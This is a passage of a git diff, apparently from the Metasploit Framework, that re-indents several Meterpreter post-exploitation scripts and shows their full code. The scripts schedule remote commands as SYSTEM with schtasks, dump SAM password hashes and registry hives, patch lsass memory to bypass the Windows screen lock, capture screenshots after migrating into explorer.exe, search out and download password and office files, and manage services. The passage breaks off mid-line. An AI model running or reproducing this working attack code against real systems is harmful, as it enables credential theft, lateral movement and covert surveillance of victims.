#{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") - else - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") - end - end - end + #for each target + targets.each do |t| + next if t.strip.length < 1 + next if t[0,1] == "#" + #for eacg command + commands.each do |c| + next if c.strip.length < 1 + next if c[0,1] == "#" + taskname = "syscheck#{rand(100)}" + success = false + #check if user name and password where given, if not credential of running process used + if username == nil && password == nil + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") + else + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") + end + end + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - commands = val.split(',') - when "-u" - username = val - when "-p" - password = val - when "-t" - targets = val.split(',') - when "-d" - delay = val.to_i - when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-l" - list = val - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - targets << line.chomp - end - end - when "-h" - help = 1 - end + when "-c" + commands = val.split(',') + when "-u" + username = val + when "-p" + password = val + when "-t" + targets = val.split(',') + when "-d" + delay = val.to_i + when "-s" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-l" + list = val + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + targets << line.chomp + end + end + when "-h" + help = 1 + end } unsupported if client.platform !~ /win32|win64/i print_status("Meterpreter session running as #{session.sys.config.getuid}") if help == 0 && commands.length != 0 - abuse(session,targets,commands,username,password,delay) + abuse(session,targets,commands,username,password,delay) else - usage + usage end diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b94515ed72..69faa5dd95 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -7,18 +7,18 @@ # hdm[at]metasploit.com # opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") - print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) - print_line("USAGE: run scraper") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") + print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) + print_line("USAGE: run scraper") + print_line(opts.usage) + raise Rex::Script::Completed + end } require 'fileutils' @@ -28,32 +28,32 @@ require 'fileutils' # Delete a file (meterpreter has no unlink API yet) def m_unlink(client, path) - r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Exec a command and return the results def m_exec(client, cmd) - begin - r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - break if d == "" - end - r.channel.close - r.close - b - rescue ::Exception => e - print_error("Failed to run command #{cmd}") - print_error("Error: #{e.class} #{e}") - end + begin + r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + break if d == "" + end + r.channel.close + r.close + b + rescue ::Exception => e + print_error("Failed to run command #{cmd}") + print_error("Error: #{e.class} #{e}") + end end @@ -73,92 +73,92 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + unsupported if client.platform !~ /win32|win64/i begin - tmp = client.fs.file.expand_path("%TEMP%") + tmp = client.fs.file.expand_path("%TEMP%") - print_status("Gathering basic system information...") + print_status("Gathering basic system information...") - ::File.open(File.join(logs, "network.txt"), "w") do |fd| - fd.puts("=" * 70) - client.net.config.each_route do |route| - fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") - end + ::File.open(File.join(logs, "network.txt"), "w") do |fd| + fd.puts("=" * 70) + client.net.config.each_route do |route| + fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") + end - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -na")) + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -na")) - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -ns")) - end + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -ns")) + end - info = client.sys.config.sysinfo() - ::File.open(File.join(logs, "system.txt"), "w") do |fd| - fd.puts("Computer: #{info['Computer']}") - fd.puts("OS: #{info['OS']}") - end + info = client.sys.config.sysinfo() + ::File.open(File.join(logs, "system.txt"), "w") do |fd| + fd.puts("Computer: #{info['Computer']}") + fd.puts("OS: #{info['OS']}") + end - ::File.open(File.join(logs, "env.txt"), "w") do |fd| - fd.puts(m_exec(client, "cmd.exe /c set")) - end + ::File.open(File.join(logs, "env.txt"), "w") do |fd| + fd.puts(m_exec(client, "cmd.exe /c set")) + end - ::File.open(File.join(logs, "users.txt"), "w") do |fd| - fd.puts(m_exec(client, "net user")) - end + ::File.open(File.join(logs, "users.txt"), "w") do |fd| + fd.puts(m_exec(client, "net user")) + end - ::File.open(File.join(logs, "shares.txt"), "w") do |fd| - fd.puts(m_exec(client, "net share")) - end + ::File.open(File.join(logs, "shares.txt"), "w") do |fd| + fd.puts(m_exec(client, "net share")) + end - ::File.open(File.join(logs, "services.txt"), "w") do |fd| - fd.puts(m_exec(client, "net start")) - end + ::File.open(File.join(logs, "services.txt"), "w") do |fd| + fd.puts(m_exec(client, "net start")) + end - ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| - fd.puts(m_exec(client, "net view")) - end + ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| + fd.puts(m_exec(client, "net view")) + end - ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| - fd.puts(m_exec(client, "net localgroup")) - end + ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| + fd.puts(m_exec(client, "net localgroup")) + end - ::File.open(File.join(logs, "group.txt"), "w") do |fd| - fd.puts(m_exec(client, "net group")) - end + ::File.open(File.join(logs, "group.txt"), "w") do |fd| + fd.puts(m_exec(client, "net group")) + end - ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| - fd.puts(m_exec(client, "systeminfo")) - end + ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| + fd.puts(m_exec(client, "systeminfo")) + end - begin - client.core.use("priv") - hashes = client.priv.sam_hashes - print_status("Dumping password hashes...") - ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| - hashes.each do |user| - fd.puts(user.to_s) - end - end - rescue ::Exception => e - print_status("Error dumping hashes: #{e.class} #{e}") - end + begin + client.core.use("priv") + hashes = client.priv.sam_hashes + print_status("Dumping password hashes...") + ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| + hashes.each do |user| + fd.puts(user.to_s) + end + end + rescue ::Exception => e + print_status("Error dumping hashes: #{e.class} #{e}") + end - print_status("Obtaining the entire registry...") - hives = %w{HKCU HKLM HKCC HKCR HKU} - hives.each do |hive| - print_status(" Exporting #{hive}") + print_status("Obtaining the entire registry...") + hives = %w{HKCU HKLM HKCC HKCR HKU} + hives.each do |hive| + print_status(" Exporting #{hive}") - tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" - m_exec(client, "reg.exe export #{hive} #{tempname}") + tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" + m_exec(client, "reg.exe export #{hive} #{tempname}") - print_status(" Downloading #{hive} (#{tempname})") - client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) + print_status(" Downloading #{hive} (#{tempname})") + client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) - print_status(" Cleaning #{hive}") - m_unlink(client, tempname) - end + print_status(" Cleaning #{hive}") + m_unlink(client, tempname) + end - print_status("Completed processing on #{host}:#{port}...") + print_status("Completed processing on #{host}:#{port}...") rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index 20827248aa..b95c87c221 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -8,68 +8,68 @@ revert = false targets = [ - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } ] opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-r" => [ false, "revert the patch (enable screen locking again)"] + "-h" => [ false,"Help menu." ], + "-r" => [ false, "revert the patch (enable screen locking again)"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-r" - revert = true - when "-h" - print_line("") - print_line("USAGE: run screen_unlock [-r]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-r" + revert = true + when "-h" + print_line("") + print_line("USAGE: run screen_unlock [-r]") + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i os = client.sys.config.sysinfo['OS'] targets.each do |t| - if os =~ t[:os] - target = t - print_status("OS '#{os}' found in known targets") - pid = client.sys.process["lsass.exe"] - p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - dllbase = p.image["msv1_0.dll"] + if os =~ t[:os] + target = t + print_status("OS '#{os}' found in known targets") + pid = client.sys.process["lsass.exe"] + p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + dllbase = p.image["msv1_0.dll"] - sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] - if sig != target[:sig] - print_error("found signature does not match") - next - end - old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] - if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) - print_error("found code does not match") - next - end + sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] + if sig != target[:sig] + print_error("found signature does not match") + next + end + old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] + if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) + print_error("found code does not match") + next + end - print_status("patching...") - new_code = revert ? target[:orig_code] : target[:patch] - p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) + print_status("patching...") + new_code = revert ? target[:orig_code] : target[:patch] + p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) - written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] - if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) - print_status("done!") - raise Rex::Script::Completed - else - print_error("failed!") - next - end - end + written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] + if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) + print_status("done!") + raise Rex::Script::Completed + else + print_error("failed!") + next + end + end end print_status("no working target found") diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 4105efbc79..bb6a3a9e2f 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -7,10 +7,10 @@ require 'fileutils' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-d" => [ true, "The Delay in seconds between each screenshot." ], - "-t" => [ true, "The time to run in sec." ], - "-s" => [ true, "The local system linux/windows" ] + "-h" => [ false, "Help menu." ], + "-d" => [ true, "The Delay in seconds between each screenshot." ], + "-t" => [ true, "The time to run in sec." ], + "-s" => [ true, "The local system linux/windows" ] ) freq = 3 @@ -20,35 +20,35 @@ meter_type = client.platform localsys = "linux" opts.parse(args) { |opt, idx, val| - case opt - when '-d' - freq = val.to_i - when '-t' - count = val.to_i - when '-s' - localsys = val.to_s + case opt + when '-d' + freq = val.to_i + when '-t' + count = val.to_i + when '-s' + localsys = val.to_s - when "-h" - print_line - print_line "Screenspy v1.0" - print_line "--------------" - print_line - print_line - print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." - print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." - print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." - print_line - print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" - print_line(opts.usage) - raise Rex::Script::Completed - end + when "-h" + print_line + print_line "Screenspy v1.0" + print_line "--------------" + print_line + print_line + print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." + print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." + print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." + print_line + print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" + print_line(opts.usage) + raise Rex::Script::Completed + end } # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check for Version of Meterpreter @@ -69,77 +69,77 @@ outfile = ::File.join(Msf::Config.log_directory,file) begin - process2mig = "explorer.exe" + process2mig = "explorer.exe" - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - end - end + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") + end + end rescue - print_status("Failed to migrate process!") - #next + print_status("Failed to migrate process!") + #next end begin - session.core.use("espia") + session.core.use("espia") - begin + begin - data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>" - path1 = File.join(logs,"video.html") - File.open(path1, 'w') do |f2| - f2.puts(data) - end + data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>" + path1 = File.join(logs,"video.html") + File.open(path1, 'w') do |f2| + f2.puts(data) + end - if (localsys == "windows") + if (localsys == "windows") - print_status("Runing in local mode => windows") - print_status("Opening Interactive view...") - localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" - else - print_status("Runing in local mode => Linux") - print_status("Opening Interactive view...") - localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" - end + print_status("Runing in local mode => windows") + print_status("Opening Interactive view...") + localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" + else + print_status("Runing in local mode => Linux") + print_status("Opening Interactive view...") + localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" + end - system (localcmd) - (1..count).each do |i| - sleep(freq) if(i != 1) - path = File.join(logs,"screenshot.jpeg") - data = session.espia.espia_image_get_dev_screen + system (localcmd) + (1..count).each do |i| + sleep(freq) if(i != 1) + path = File.join(logs,"screenshot.jpeg") + data = session.espia.espia_image_get_dev_screen - if(data) - ::File.open(path, 'wb') do |fd| - fd.write(data) - fd.close() - end - end - end + if(data) + ::File.open(path, 'wb') do |fd| + fd.write(data) + fd.close() + end + end + end - rescue ::Exception => e - print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") - end + rescue ::Exception => e + print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") + end - print_status("The interactive Session ended...") - data = <<-EOS + print_status("The interactive Session ended...") + data = <<-EOS <title>#{host} - Interactive Session ended</title> <img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'> <script>alert('Interactive Session ended - Happy Hunting')</script> EOS - File.open(path1, 'w') do |f2| - f2.puts(data) - end + File.open(path1, 'w') do |f2| + f2.puts(data) + end rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 05b39c3fe5..2c633f860e 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -11,69 +11,69 @@ # Filters $filters = { - 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', - 'win9x' => '\.pwl$', - 'passwd' => '(pass|pwd)', + 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', + 'win9x' => '\.pwl$', + 'passwd' => '(pass|pwd)', } @@opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) def usage - print_line "search_dwld -- recursively search for and download files matching a given pattern" - print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" - print_line - print_line "filter can be a defined pattern or 'free', in which case pattern must be given" - print_line "Defined patterns:" - print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") - print_line - print_line "Examples:" - print_line " run search_dwld" - print_line " => recursively look for (MS|Open)Office in C:\\" - print_line " run search_dwld %USERPROFILE% win9x" - print_line " => recursively look for *.PWL files in the user home directory" - print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" - print_line " => recursively look for pictures in the E: drive" - print_line(@@opts.usage) - raise Rex::Script::Completed + print_line "search_dwld -- recursively search for and download files matching a given pattern" + print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" + print_line + print_line "filter can be a defined pattern or 'free', in which case pattern must be given" + print_line "Defined patterns:" + print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") + print_line + print_line "Examples:" + print_line " run search_dwld" + print_line " => recursively look for (MS|Open)Office in C:\\" + print_line " run search_dwld %USERPROFILE% win9x" + print_line " => recursively look for *.PWL files in the user home directory" + print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" + print_line " => recursively look for pictures in the E: drive" + print_line(@@opts.usage) + raise Rex::Script::Completed end @@opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } def scan(path) - begin - dirs = client.fs.dir.foreach(path) - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Error scanning #{path}: #{$!}") - return - end + begin + dirs = client.fs.dir.foreach(path) + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Error scanning #{path}: #{$!}") + return + end - dirs.each {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x + dirs.each {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x - if client.fs.file.stat(fullpath).directory? - scan(fullpath) - elsif fullpath =~ /#{$motif}/i - # Replace ':' or '%' or '\' by '_' - dst = fullpath.tr_s(":|\%|\\", "_") - dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) - print_line("Downloading '#{fullpath}' to '#{dst}'") - client.fs.file.download_file(dst, fullpath) - end - } + if client.fs.file.stat(fullpath).directory? + scan(fullpath) + elsif fullpath =~ /#{$motif}/i + # Replace ':' or '%' or '\' by '_' + dst = fullpath.tr_s(":|\%|\\", "_") + dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) + print_line("Downloading '#{fullpath}' to '#{dst}'") + client.fs.file.download_file(dst, fullpath) + end + } end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -84,16 +84,16 @@ filter = args[1] || "office" # Set the regexp if filter == 'free' - if args[2].nil? - raise RuntimeError.new("free filter requires pattern argument") - end - $motif = args[2] + if args[2].nil? + raise RuntimeError.new("free filter requires pattern argument") + end + $motif = args[2] else - $motif = $filters[filter] + $motif = $filters[filter] end if $motif.nil? - raise RuntimeError.new("Unrecognized filter") + raise RuntimeError.new("Unrecognized filter") end # Search and download diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index 6022334a4c..f112ef47f4 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -18,19 +18,19 @@ srv_delete = false @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false , "Help menu." ], - "-l" => [ false , "List Services"], - "-S" => [ false , "Start Service"], - "-K" => [ false , "Stop Service"], - "-C" => [ false , "Create Service, service will be set to auto start"], - "-c" => [ false , "Change Service StartUp. Default <Auto>" ], - "-i" => [ false , "Get Service Information"], - "-n" => [ true , "Service Name"], - "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], - "-d" => [ true , "Display Name of Service"], - "-p" => [ true , "Service command"], - "-D" => [ false , "Delete Service"] - ) + "-h" => [ false , "Help menu." ], + "-l" => [ false , "List Services"], + "-S" => [ false , "Start Service"], + "-K" => [ false , "Stop Service"], + "-C" => [ false , "Create Service, service will be set to auto start"], + "-c" => [ false , "Change Service StartUp. Default <Auto>" ], + "-i" => [ false , "Get Service Information"], + "-n" => [ true , "Service Name"], + "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], + "-d" => [ true , "Display Name of Service"], + "-p" => [ true , "Service command"], + "-D" => [ false , "Delete Service"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -38,26 +38,26 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for managing Windows Services." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for managing Windows Services." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check if sufficient privileges are present for certain actions def priv_check - if not is_uac_enabled? or is_admin? - return true - else - print_error("Insuficient Privileges") - raise Rex::Script::Completed - end + if not is_uac_enabled? or is_admin? + return true + else + print_error("Insuficient Privileges") + raise Rex::Script::Completed + end end @@ -66,154 +66,154 @@ end wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - srv_list = true - when "-n" - srv_name = val - when "-S" - srv_start = true - when "-K" - srv_stop = true - when "-i" - srv_info = true - when "-c" - srv_change_startup = true - when "-C" - srv_create = true - when "-d" - srv_display_name = val - when "-p" - srv_command = val - when "-D" - srv_delete = true - end + case opt + when "-h" + usage + when "-l" + srv_list = true + when "-n" + srv_name = val + when "-S" + srv_start = true + when "-K" + srv_stop = true + when "-i" + srv_info = true + when "-c" + srv_change_startup = true + when "-C" + srv_create = true + when "-d" + srv_display_name = val + when "-p" + srv_command = val + when "-D" + srv_delete = true + end } # List Services if srv_list - print_status("Service List:") - service_list.each do |s| - print_good("\t#{s}") - end - raise Rex::Script::Completed + print_status("Service List:") + service_list.each do |s| + print_good("\t#{s}") + end + raise Rex::Script::Completed # Start a service elsif srv_start - priv_check - if srv_name - begin - returned_value = service_start(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Started") - elsif returned_value == 1 - print_good("Service #{srv_name} already Running") - elsif returned_value == 2 - print_error("Service #{srv_name} is Disabled could not be started.") - end + priv_check + if srv_name + begin + returned_value = service_start(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Started") + elsif returned_value == 1 + print_good("Service #{srv_name} already Running") + elsif returned_value == 2 + print_error("Service #{srv_name} is Disabled could not be started.") + end - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise 